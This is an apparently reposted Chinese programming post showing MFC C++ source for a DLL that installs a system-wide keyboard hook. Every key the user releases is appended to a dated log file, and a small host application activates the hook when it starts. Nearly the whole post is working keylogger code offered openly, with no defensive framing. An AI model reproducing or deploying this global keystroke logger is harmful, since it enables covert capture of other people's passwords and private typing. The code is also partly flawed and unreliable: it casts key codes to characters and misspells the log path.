创建记录键盘动作的全局钩子DLL

来源:互联网 发布:山东百杰网络工程学院 编辑:程序博客网 时间:2024/05/20 11:51

Hookkey中:

 

在Hookkey.h文件中:

#define  DllExport __declspec(dllexport)
DllExport void WINAPI OutEv();//声明导出函数

 

 

在实现文件中:

#include"Hookkey.h"

 

 

HHOOK Hook;
LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam);
void Savekey(char* c);

 

 

 

LRESULT CALLBACK Hookkey(int nCode,WPARAM wParam,LPARAM lParam)
{
 LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
 if(nCode==HC_ACTION)
 {
  if(lParam & 0x80000000)
  {
   char c[1];
   c[0]=wParam;
   Savekey(c);
  }
 }
 return Result;
}

void Savekey(char* c)
{
 CTime tm=CTime::GetCurrentTime();
 CString name;
 name.Format("c://Program Fils//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());//不知道地址有没有写错
 CFile file;
 if(!file.Open(name,CFile::modeReadWrite))
 {
  file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
 }
 file.SeekToEnd();
 file.Write(c,1);
 file.Close();
}

DllExport void WINAPI OutEv()
{
 Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Hookkey,theApp.m_hInstance,0);
}

 

 

 

在UseHookkey中:

已经将KeyHook.lib添加到project的link中,并且KeyHook.h .lib都已经复制到工程目录下, .dll复制到debug下

#include"KeyHook.h"

 

void CUseKeyHookView::OnInitialUpdate()
{
 CEditView::OnInitialUpdate();
 OutEv(); 
}

原创粉丝点击